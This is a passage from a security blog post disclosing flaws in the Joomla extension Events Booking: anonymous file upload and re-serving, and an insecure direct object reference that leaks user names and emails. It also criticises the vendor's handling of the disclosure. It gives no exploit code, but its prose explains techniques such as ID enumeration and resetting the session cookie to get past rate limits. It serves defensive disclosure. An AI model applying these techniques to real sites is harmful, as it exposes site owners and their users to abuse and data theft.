&lt;p&gt;This is not the file upload RCE we found in &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!&lt;/a&gt;, and we are not going to pretend it is. It is a stranger with write access to your file system, which is quite bad enough.&lt;/p&gt;
&lt;h3&gt;The site will also serve it back for you&lt;/h3&gt;
&lt;p&gt;The upload is only half of it, and the other half is the part that turns a storage problem into a distribution problem.&lt;/p&gt;
&lt;p&gt;Events Booking exposes a matching front-end endpoint that reads files back out of that same folder. In 5.8.0 and earlier its permission logic ran like this: if the filename ends in &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt; or &lt;code&gt;webp&lt;/code&gt;, the file is handed to whoever asked for it, with &lt;strong&gt;no login check at all&lt;/strong&gt;. Only the other extensions fall through to the ownership and permission checks underneath.&lt;/p&gt;
&lt;p&gt;That test was on the extension, never the contents. Before 5.8.1 nothing verified the file was actually an image, and nothing randomised the stored filename, so the attacker chose the name they uploaded under and therefore already knew the URL to fetch it back from. The endpoint even takes an &lt;code&gt;inline&lt;/code&gt; parameter from the caller, so the attacker picks whether the browser displays the file or downloads it.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Both halves together&lt;/p&gt;
    &lt;p&gt;Before 5.8.1, Events Booking would accept a file from an anonymous stranger and then serve that same file back to the entire internet, at a filename the stranger chose, with nobody logged in at either end.&lt;/p&gt;
    &lt;p&gt;That is not a side effect of a file upload bug. It is a complete, working, anonymous file hosting service running on your domain and your bandwidth, which you did not know you were operating.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This does have a ceiling. The response declares a content type worked out from the extension, so a &lt;code&gt;.jpg&lt;/code&gt; goes out as &lt;code&gt;image/jpeg&lt;/code&gt;, and current browsers will not run a script out of that, which makes the direct cross-site scripting route weak. As free unattributable hosting on a reputable domain with a valid certificate, it works exactly as an abuser would want.&lt;/p&gt;
&lt;p&gt;Both halves were tightened in 5.8.1: filenames are now randomised on upload, and the download path validates that a file really is an image before serving it inline.&lt;/p&gt;
&lt;h3&gt;A stranger with write access to your file system&lt;/h3&gt;
&lt;p&gt;Code execution is the loudest thing an unauthenticated upload buys an attacker, and treating it as the only one that counts is how this kind of finding gets waved through. The vendor&apos;s own changelog describes the risk as someone uploading files &quot;to abuse server quota for some reasons&quot;. Server quota is the least of it.&lt;/p&gt;
&lt;p&gt;Anonymous, unattributable file storage on somebody else&apos;s infrastructure is a commodity, and people go looking for it. An open upload endpoint on a legitimate business domain is close to ideal for that: it costs nothing, it is not registered to anyone, the bandwidth is billed to a stranger, and the content inherits the reputation of a real site with a real TLS certificate that no filter has any reason to block.&lt;/p&gt;
&lt;p&gt;What ends up in those folders is not theoretical. Pirated media and warez, because someone else is paying for the disk and the transfer. Phishing kits and fake login pages, which work far better when the URL is a genuine company domain than when it is a throwaway host. Malware and droppers staged for a different campaign entirely, so the attack on somebody else runs through your server. And illegal imagery, including sexual content and material involving children, parked somewhere the people trading it will not be traced.&lt;/p&gt;
&lt;p&gt;I should be honest about the limits of that list. I am not a hacker. I do not think the way they think, and every time I have looked closely at a real compromise the actual use has been more inventive than anything I would have predicted. People who do this for a living are extremely good at finding free storage where they will not get caught, and they will find uses for your upload folder that have not occurred to me.&lt;/p&gt;
&lt;p&gt;The part that matters for you is that all of it arrives with your name on it. You signed the hosting contract. The IP address, the domain and the billing details are yours. When the abuse report is written it is addressed to you, and hosts generally suspend first and investigate afterwards, which means the first thing you know about it may be a dead site and a support ticket. Beyond that sit domain and IP blocklisting, a payment processor taking an interest, and for the worst categories of content a set of legal obligations that are considerably more serious than a hosting suspension.&lt;/p&gt;
&lt;p&gt;At the far end of that road is the police at your door, because a Joomla extension on your site let a stranger store illegal material on it. That can genuinely happen. It happens to ordinary small business websites run by people who did nothing reckless, because an open upload form on a real company domain is exactly the sort of place that content gets parked. The person who has to answer for it is whoever&apos;s name is on the domain, and &quot;the form needed no login&quot; is a poor opening line for that conversation.&lt;/p&gt;
&lt;p&gt;We have watched this happen. The &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms flaw&lt;/a&gt; we disclosed this month did not come to us from a code audit. It came from a Hetzner abuse report sent to one of our customers, who brought us the raw access log. That is what an anonymous upload endpoint looks like from the owner&apos;s side: a message from your host telling you your server has been doing something you knew nothing about.&lt;/p&gt;
&lt;p&gt;The quiet part is that you will probably not notice on your own. Nothing errors. No page breaks. Files accumulate in a directory that nobody has any reason to open, attached to no registration, and the site carries on serving events exactly as it did before.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Do this after you update&lt;/p&gt;
    &lt;p&gt;5.8.1 ships a tool that finds and deletes every file in the upload folder with no matching registration record.&lt;/p&gt;
    &lt;p&gt;Run it even if you are certain you were never a target. It is the only way to see what that endpoint accepted while it was open, and there is a scheduled task version so it keeps checking.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Finding two: every user&apos;s name and email&lt;/h2&gt;
&lt;p&gt;The second endpoint is a textbook &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;insecure direct object reference&lt;/a&gt;. Hand it a user ID and it returns that user&apos;s stored registration details. Where the person never registered for anything, the code falls back to loading the Joomla user account directly and returns their &lt;strong&gt;first name, last name and email address&lt;/strong&gt; as JSON anyway.&lt;/p&gt;
&lt;p&gt;Nothing in that path checked who was asking. No login check, no CSRF token, and critically no ownership check: the code never asked whether the requester was the user whose details were being returned. The component&apos;s own JavaScript only ever calls this endpoint for the currently logged-in user, so in normal use it looks harmless. The server never enforced what the browser assumed.&lt;/p&gt;
&lt;p&gt;An attacker requests user ID 1, then 2, then 3, and keeps counting. Each request returns one person&apos;s name and email. There was no rate limit and no authentication, so a short script walks the entire user table in minutes.&lt;/p&gt;
&lt;p&gt;The user ID is cast to an integer before it goes near the database, so there is no SQL injection here and no way to bend the query. This is purely an authorisation failure. The code asked the database a perfectly sensible question and handed the answer to the wrong person.&lt;/p&gt;
&lt;h3&gt;Why enumeration matters more than it sounds&lt;/h3&gt;
&lt;p&gt;&quot;Names and email addresses&quot; sounds like the mild end of a breach, and compared to a database of password hashes it is. That framing undersells it for three reasons.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The list is targeted, not random.&lt;/strong&gt; These are the verified contact details of people who signed up on a specific site for a specific thing. An attacker who knows you booked onto a named event at a named organisation can write a phishing email that reads exactly like the follow-up you are expecting. That is worth far more than a bulk address list, and it prices accordingly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is a shopping list for the next attack.&lt;/strong&gt; Enumeration is reconnaissance. Once an attacker has every username and email on a Joomla site, credential stuffing has real targets, password reset flows have real addresses to abuse, and the administrator accounts stand out immediately.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On an events site, the users are your customers.&lt;/strong&gt; A leaked user table on a brochure site might be three staff logins.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;This is a reportable data breach&lt;/p&gt;
    &lt;p&gt;On a busy Events Booking install it is every attendee who ever registered, which under the UK GDPR and the EU GDPR is personal data you are the controller of.&lt;/p&gt;
    &lt;p&gt;An unauthenticated stranger reading it is a personal data breach, and one you are expected to assess and potentially report to your regulator within 72 hours.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;Enumeration leaves almost no trace. The requests are ordinary GET requests to index.php that return a normal 200 response, so in an access log they look like a visitor browsing the site quickly. There is usually no error, no alert and nothing in the Joomla logs. If you are wondering whether anyone did this to your site, the honest answer for most sites is that you cannot tell from the logs alone.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;&quot;To me, this is not really a security issue&quot;&lt;/h2&gt;
&lt;p&gt;Part of deciding whether to trust an extension is watching what the vendor does when someone hands them a security problem. On the enumeration flaw JoomDonation moved fast and added the missing permission check without argument, and they deserve credit for that.&lt;/p&gt;
&lt;p&gt;The upload went differently.&lt;/p&gt;
&lt;p&gt;The vendor&apos;s position, held across several days and multiple emails, was that the finding was invalid. The argument was that because the endpoint is meant to be public, a CSRF token adds nothing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The point here is this is public end point to allow public users (registrants) to upload files while they register for event. It is not something restricted for admin, so it is not necessary for attackers to use to use an external site to perform upload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And again, thirteen minutes later:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I wonder why someone has to use an external site malicious website website to make a request like that for a public accessible form? What prevent them from make request directly to that public form?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We quote these exactly as written, duplicated words included. English is not the developer&apos;s first language and we are not making a point about the phrasing. The point is the position, which was maintained clearly and consistently: this is public, therefore a token is pointless, therefore there is no bug.&lt;/p&gt;
&lt;p&gt;The Joomla Security Strike Team, copied on the thread throughout, disagreed on the record:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I disagree with your assessment on the CSRF issue: a file upload is a mutating operation and should be protected with a CSRF token check. Otherwise, I could trick a site admin on an external site to submit a form and having that form targeted to the website that the admin is managing. If the admin has an active session, the upload will be performed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When the vendor pushed back a second time, the JSST reply opened: &lt;em&gt;&quot;You are wrong :)&quot;&lt;/em&gt;, followed by a step-by-step walkthrough of what cross-site request forgery actually is.&lt;/p&gt;
&lt;p&gt;The objection misses what the token is for. It stops a third-party site from making your visitors upload files without their knowledge, which is a different attack from an attacker calling the endpoint directly. Both are real. Fixing one does not answer the other. And neither addresses the bigger problem, which was never the token: it was that the endpoint accepted files from strangers at all, on every install, by default.&lt;/p&gt;
&lt;p&gt;The 5.8.0 announcement, as originally published, put the vendor&apos;s view in writing: &lt;em&gt;&quot;To me, this is not really a security issue, but since it is reported, I have it fixed/improved anyway.&quot;&lt;/em&gt; The same announcement, a few lines earlier, described the release as fixing &lt;em&gt;&quot;two medium security issues&quot;&lt;/em&gt;. Both statements cannot be true at once. That sentence, along with a claim that the first issue had been fixed before we reported it, was removed from the announcement three minutes after we put the two quotes to the vendor and said they were wrong. No correction note was added. We screenshotted the original beforehand, which is the only reason this paragraph can be written.&lt;/p&gt;
&lt;p&gt;For the record, the Joomla CNA settled the question independently. It assigned &lt;strong&gt;CVE-2026-60024&lt;/strong&gt; for the default anonymous upload and &lt;strong&gt;CVE-2026-60025&lt;/strong&gt; for the missing CSRF token. Two CVEs, for the thing that was not really a security issue.&lt;/p&gt;
&lt;p&gt;The position held in public, too. On the changelog thread, after the fixes had shipped, the vendor wrote:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BTW, the current implementation is quite safe. But since the upload file is open for public users to upload files during their registration, if someone uses it to upload multiple files, there is no way for the system to prevent that. That is the same for any public forms which allow public users to upload files&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The fixes for the non-vulnerability&lt;/h2&gt;
&lt;p&gt;&quot;There is no way for the system to prevent that&quot; appears in the same changelog post that documents four brand new settings whose entire purpose is to prevent exactly that.&lt;/p&gt;
&lt;p&gt;We obtained the 5.8.0 and 5.8.1 packages and diffed them. If the anonymous upload were not a security issue, 5.8.1 would be a quiet maintenance release. Instead, here is what the vendor shipped for that one endpoint across the two versions.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hardening added&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CSRF token check&lt;/td&gt;
&lt;td&gt;5.8.0&lt;/td&gt;
&lt;td&gt;The token the vendor argued was useless is now required on the upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upload gated behind an existing File field&lt;/td&gt;
&lt;td&gt;5.8.0&lt;/td&gt;
&lt;td&gt;The endpoint is no longer live on every install by default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-field permission validation&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;The specific field being uploaded to must exist, must be a File type, and must be within the requester&apos;s authorised view levels&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Max files per session (default 100)&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;New admin setting, capping how many files one visitor may upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Max files per minute (default 20)&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;New admin setting, throttling upload rate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upload folder size limit&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;New admin setting in MB, ships disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Max files in upload folder&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;New admin setting, ships disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Real image content validation&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;A 260-line image helper that runs &lt;code&gt;getimagesize&lt;/code&gt; and &lt;code&gt;finfo&lt;/code&gt; against anything with an image extension, so a file claiming to be a JPEG has to actually be one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Randomised filenames&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;Uploads are now prefixed with 16 random hex characters, so an attacker cannot predict or link to the path they wrote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Image validation on serving&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;The download endpoint re-validates that a file is a genuine image before serving it inline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;Stops browsers MIME-sniffing a served file into something executable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Orphan file cleanup tool&lt;/td&gt;
&lt;td&gt;5.8.1&lt;/td&gt;
&lt;td&gt;A new admin function, described by the vendor as a &quot;hidden tool&quot;, that deletes files in the upload folder with no matching registration record. There is also a scheduled task to run it automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Look at that last row again. The vendor shipped a tool to clean up the files that the not-a-security-issue endpoint had already accepted from strangers, and a scheduled task so it keeps cleaning them up.&lt;/p&gt;
&lt;p&gt;The changelog also credits an &lt;code&gt;.htaccess&lt;/code&gt; in the upload folder, added &quot;just in case admin allows uploading php files by mistake&quot;. We can confirm the file is present in both packages and contains &lt;code&gt;deny from all&lt;/code&gt;. Do not lean on it: that is an Apache directive. On nginx it is an inert text file, and plenty of Joomla hosting is nginx or a proxy in front of Apache.&lt;/p&gt;
&lt;p&gt;Alongside the upload work, 5.8.1 also tightened output escaping from &lt;code&gt;ENT_COMPAT&lt;/code&gt; to &lt;code&gt;ENT_QUOTES&lt;/code&gt; (the former does not escape single quotes, a common source of cross-site scripting), and extended Joomla&apos;s &lt;code&gt;filterText&lt;/code&gt; to sixteen editor fields on the event form that were previously being read raw.&lt;/p&gt;
&lt;p&gt;All of this is good work, and 5.8.1 is a genuinely better release than 5.8.0. It is also twelve layers of defence built around an endpoint the vendor was still describing, in public, as fine.&lt;/p&gt;
&lt;h3&gt;There are two different builds of 5.8.0&lt;/h3&gt;
&lt;p&gt;One more thing to check if you already updated. Buried in the changelog thread is this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Just want to update that some additional checks were added to make field upload more secure (just in case someone uses upload end point to attack your site by mass upload), so if you updated Events Booking before 16:10pm, 15 July 2026, you might want to download latest package and update it to your site again&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The version number did not change. Two different packages shipped as 5.8.0, and which one you have depends on what time of day you clicked update. Anyone who updated promptly, which is to say anyone who took the security release seriously, got the weaker build and has no way to tell from the version number.&lt;/p&gt;
&lt;p&gt;This is the second time in this story that a package changed without the version changing: the enumeration fix was pushed into the download package on 14 July with no changelog entry at all. Version numbers are how site owners and tools like ours reason about who is patched. When the contents move underneath a fixed version string, everybody downstream is working from bad data.&lt;/p&gt;
&lt;p&gt;Going to 5.8.1 resolves it, which is the simplest reason to skip 5.8.0 entirely.&lt;/p&gt;
&lt;h3&gt;What 5.8.1 still does not do&lt;/h3&gt;
&lt;p&gt;Being straight about the limits of the fix, because &quot;updated to 5.8.1&quot; is not the same as &quot;no longer reachable&quot;:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Anonymous uploads still work, by design.&lt;/strong&gt; A public registration form has to accept uploads from people who are not logged in. Where a File field&apos;s access level is Public, which it must be for public registration, a guest still passes the new permission check. That is a legitimate design decision and the JSST accepted it as such. It does mean the endpoint remains an anonymous write path, now with limits on it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The rate limits are per session.&lt;/strong&gt; The 100-per-session and 20-per-minute counters are stored against the visitor&apos;s session. An attacker who discards their session cookie between batches gets a fresh allowance every time. This slows down a naive script, not a determined one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The absolute caps ship disabled.&lt;/strong&gt; &lt;code&gt;upload_folder_size_limit&lt;/code&gt; and &lt;code&gt;upload_max_files_in_folder&lt;/code&gt; both default to &lt;code&gt;0&lt;/code&gt;, meaning off. Out of the box, 5.8.1 has no ceiling on total files or total disk consumed. If you want one, you have to go and set it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And if you do set it, you buy a different problem.&lt;/strong&gt; Both caps are global to the upload folder. Once the limit is hit, further uploads are rejected for everyone, including genuine registrants. An attacker who fills the folder to your configured cap has denied service to your event sign-ups. Set these values, by all means, but set them with headroom and monitor the folder.&lt;/p&gt;
&lt;h2&gt;What customers were actually told&lt;/h2&gt;
&lt;p&gt;On 20 July, JoomDonation emailed its Events Booking customers about the 5.8.1 release. That email is how most site owners will learn any of this happened, so it matters more than the changelog does. It describes the enumeration flaw as &quot;Information disclosure: Under certain conditions, an unauthenticated user could retrieve the name and email address associated with a registered user.&quot; Then, on the upload, in bold:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This should be considered a security improvement rather than a vulnerability. It is not a remote code execution vulnerability, and attackers could not upload executable files or gain control of your website.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Taking that apart honestly, because parts of it are true.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;It is not a remote code execution vulnerability&quot; is correct&lt;/strong&gt;, on a default configuration, and we have said the same thing throughout this post. The default allow-list has no PHP in it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Attackers could not upload executable files&quot; is correct for the default allow-list and wrong as an absolute.&lt;/strong&gt; That list is a configuration setting an administrator can edit, and the sentence makes a promise about every install rather than about the shipped defaults.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Or gain control of your website&quot; is a claim the vendor is not in a position to make.&lt;/strong&gt; The same release that email is announcing added image content validation to the file-serving path and an &lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt; header to it. Those are defences against a served upload being interpreted as something other than an image. You do not add them to a path where nothing could ever go wrong.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;This should be considered a security improvement rather than a vulnerability&quot; has already been settled by someone else.&lt;/strong&gt; The Joomla CNA assigned &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt; three days before that email went out, describing the extension as having &quot;by default allow[ed] unauthenticated users to upload media assets&quot;. A CVE is the industry&apos;s formal record of a vulnerability. It is not a security improvement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Under certain conditions&quot; is carrying an enormous amount of weight.&lt;/strong&gt; The condition, for the enumeration flaw, is that somebody sends a request.&lt;/p&gt;
&lt;p&gt;Two things the email leaves out are worth noting. It presents &quot;this update automatically disables the upload endpoint when your site does not use any File Upload custom fields&quot; as a helpful new behaviour, when it is the fix for the CVE above: the endpoint should never have been live on installs that were not using it. And across the whole message there is no CVE number, no advisory link and no indication that three CVEs exist for what it describes.&lt;/p&gt;
&lt;p&gt;The practical effect is what concerns us. A busy agency owner reading &quot;these issues are not considered critical&quot; and &quot;a security improvement rather than a vulnerability&quot; will file it under housekeeping and get to it next month. Given that the version data above shows not one install we can see was even on the current release, that is the outcome least likely to get anybody patched.&lt;/p&gt;
&lt;h2&gt;And then we were asked, repeatedly, to say nothing&lt;/h2&gt;
&lt;p&gt;Running alongside all of the above was a request that kept coming back: please hold off publishing.&lt;/p&gt;
&lt;p&gt;It came on 15 July, after the 5.8.0 announcement had already gone out describing both bugs and naming the fixed version. We were asked for two days. It came again on 20 July, after the newsletter had gone to the entire customer base, this time phrased as &lt;em&gt;&quot;I hope you can wait and give customers few days to update because I only start sending newsletter today&quot;&lt;/em&gt;, with &lt;em&gt;&quot;as mentioned before&quot;&lt;/em&gt; in front of it confirming this was not the first time. The same message asked whether publishing was &lt;em&gt;&quot;even legal by low&quot;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;There is a legitimate version of this request, and it is worth stating clearly before disagreeing with it. Coordinated disclosure normally does include a grace period after a patch ships. Researchers hold the technical detail back for a window so that site owners can update before attackers get a map. We honour that on every disclosure we make, which is why we sat on both of these findings until a fix existed.&lt;/p&gt;
&lt;p&gt;The logic depends entirely on the vendor not having published the details themselves. That is not what happened here.&lt;/p&gt;
&lt;p&gt;By the time the first request arrived, JoomDonation had already pushed a silent package on 14 July, published a changelog on 15 July that described both bugs by category and named the fixed version, and rebuilt the package again that afternoon. By the time the second arrived, an email had gone to every customer. A security release is itself a disclosure, and the loudest one available: it hands anyone who cares two packages to compare. We ran that comparison ourselves for this article. It took an afternoon and produced the table above. Nobody needs our permission or our write-up to do the same thing, and the people most likely to do it quickly are the ones with a reason to hurry.&lt;/p&gt;
&lt;p&gt;So the delay does not slow an attacker down. It reaches the other group. The people who read security write-ups are the people trying to work out what to prioritise across a portfolio of client sites this week, and they are the only ones a silence reliably affects.&lt;/p&gt;
&lt;p&gt;That matters more than usual here because of what those customers were told in the same breath. An email saying the upload is &quot;a security improvement rather than a vulnerability&quot; and that &quot;these issues are not considered critical&quot;, combined with no independent analysis available to weigh it against, is not a neutral state of affairs. It is a one-sided account of a set of flaws that carry three CVEs. Waiting a few days would have meant customers making patching decisions with only that account in front of them.&lt;/p&gt;
&lt;p&gt;The premise does not survive the data either. &quot;Give customers a few days to update&quot; assumes a world in which a few days changes the outcome. Not one Events Booking install we can see was running the current release, and roughly three quarters were an entire major version behind. The sites genuinely at risk here are years behind, not days.&lt;/p&gt;
&lt;p&gt;We agreed to the first request. We published nothing on 15 July, nothing on the 16th, and nothing in the days after that. This article is going out on 20 July, five days later.&lt;/p&gt;
&lt;p&gt;What happened during those five days is the reason there is no sixth. A second build shipped under the same version number. A follow-up release went out. An email reached every customer describing a CVE as a security improvement. And the request came round again, this time for &quot;a few days&quot; more, with a question about whether publishing was even legal attached to it. A hold that renews itself every time the vendor makes another public statement is not a coordination window, it is an open-ended veto.&lt;/p&gt;
&lt;p&gt;Our commitment is to withhold the exploit until a fix exists. We have done that and are still doing it: there is no proof-of-concept, no endpoint name and no request format anywhere in this article, and there will not be. That commitment does not extend to staying silent indefinitely while the vendor publishes its own version of events to thousands of people.&lt;/p&gt;
&lt;p&gt;Which brings us to what happens next. Today we reported a further security issue to the same vendor, an IDOR in 5.8.1. That report enters a &lt;strong&gt;90 day disclosure period&lt;/strong&gt;, the industry-standard clock, which runs to &lt;strong&gt;18 October 2026&lt;/strong&gt;. JoomDonation has until that date to ship a fix, and we will publish after it whether one exists or not.&lt;/p&gt;
&lt;p&gt;Fixing the date in advance is the answer to everything in this section. Nobody has to ask anybody for silence, nobody has to argue about whether a release counts as disclosure, and nobody has to wonder when the window closes. It is written down, both sides can see it, and the clock does not restart every time somebody publishes a changelog.&lt;/p&gt;
&lt;h2&gt;What coordinated disclosure actually requires&lt;/h2&gt;
&lt;p&gt;It would be easy to read the last few sections as a personal complaint. They are not. Coordinated disclosure is a documented, standardised process with obligations on both sides, and the reason those obligations exist is that site owners cannot make good decisions without them. This section is the part we would ask any extension developer to read, because most of the friction in this case came from a process gap rather than from bad intent.&lt;/p&gt;
&lt;p&gt;The relevant standards are not obscure. &lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; covers vulnerability disclosure: how a vendor should receive reports and, importantly, how it should publish advisories. &lt;a href=&quot;https://www.iso.org/standard/69725.html&quot;&gt;ISO/IEC 30111&lt;/a&gt; covers the internal handling process that sits behind it. The &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; from Carnegie Mellon is the practitioner reference most researchers work to. &lt;a href=&quot;https://www.first.org/global/sigs/vulnerability-coordination/multiparty/&quot;&gt;FIRST&lt;/a&gt; publishes guidance for coordinating between multiple parties, which is exactly the situation once a national or project CNA is involved. &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html&quot;&gt;OWASP&lt;/a&gt; publishes a short, readable cheat sheet for anyone who wants the summary rather than the standard.&lt;/p&gt;
&lt;p&gt;They differ in detail and agree on the shape. The researcher withholds technical detail while a fix is produced. The vendor investigates in good faith, fixes, and then communicates accurately. Both halves are load-bearing, and the vendor&apos;s half is the one that gets skipped.&lt;/p&gt;
&lt;p&gt;In practice, the vendor&apos;s obligations come down to this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Assess the report on its merits, not on whether it feels like an attack you recognise.&lt;/strong&gt; &quot;This endpoint is meant to be public&quot; is a design statement, not a security assessment.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Publish an advisory that describes what was wrong&lt;/strong&gt;, not a changelog line that could equally describe a bug fix. Users triage from your advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change the version number when the contents change.&lt;/strong&gt; A package rebuilt under the same version breaks the one signal everybody downstream relies on, including automated tooling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request a CVE, and put the number in your communications.&lt;/strong&gt; Joomla runs &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;its own CNA&lt;/a&gt;, so for Joomla extensions this costs an email.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Characterise severity honestly in customer-facing messages.&lt;/strong&gt; Understating it does not calm anybody down, it just means the update does not get installed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Correct the record visibly.&lt;/strong&gt; Editing a published advisory without a note is how you lose the benefit of having published it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coordinate the timing, once, and in advance.&lt;/strong&gt; Agree a publication date with the reporter before you ship, rather than asking for open-ended silence afterwards.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credit the reporter.&lt;/strong&gt; It costs nothing and it is the entire economy that produces reports like this one.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Measured against that list, this case was mixed rather than uniformly poor, and it is worth saying so. JoomDonation fixed the enumeration flaw quickly and without argument. They credited us publicly. They engaged with the JSST rather than ignoring it. They patched the Joomla 3 line when other vendors this month simply &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;walked away from Joomla 3 altogether&lt;/a&gt;. The engineering response, once it got going, was genuinely thorough, as the hardening table above shows.&lt;/p&gt;
&lt;p&gt;The communications were the failure. A silent package on 14 July, a changelog on 15 July that argued with the finding while fixing it, a second build shipped under the same version number that afternoon, published statements edited away without a correction note, a customer email describing a CVE as a security improvement, and repeated requests for our silence after each of those public acts. Every one of those is a communication decision rather than a coding one, and every one of them made it harder for a site owner to work out whether they needed to act.&lt;/p&gt;
&lt;p&gt;That distinction matters because the bugs themselves are ordinary. Any codebase with a public front end grows them. What separates vendors is not whether they ship a vulnerability, it is what happens in the week afterwards, and that week is almost entirely made of communication.&lt;/p&gt;
&lt;h2&gt;Joomla 3 users: the fix exists, but it is not where you would look for it&lt;/h2&gt;
&lt;p&gt;JoomDonation has released &lt;strong&gt;Events Booking 4.9.5&lt;/strong&gt; for Joomla 3, containing the same fixes. Credit where it is due: many vendors would not have bothered patching a Joomla 3 line at all, and this month we &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;wrote about JoomShaper abandoning Joomla 3 entirely&lt;/a&gt; while known critical holes remained open. JoomDonation did the work.&lt;/p&gt;
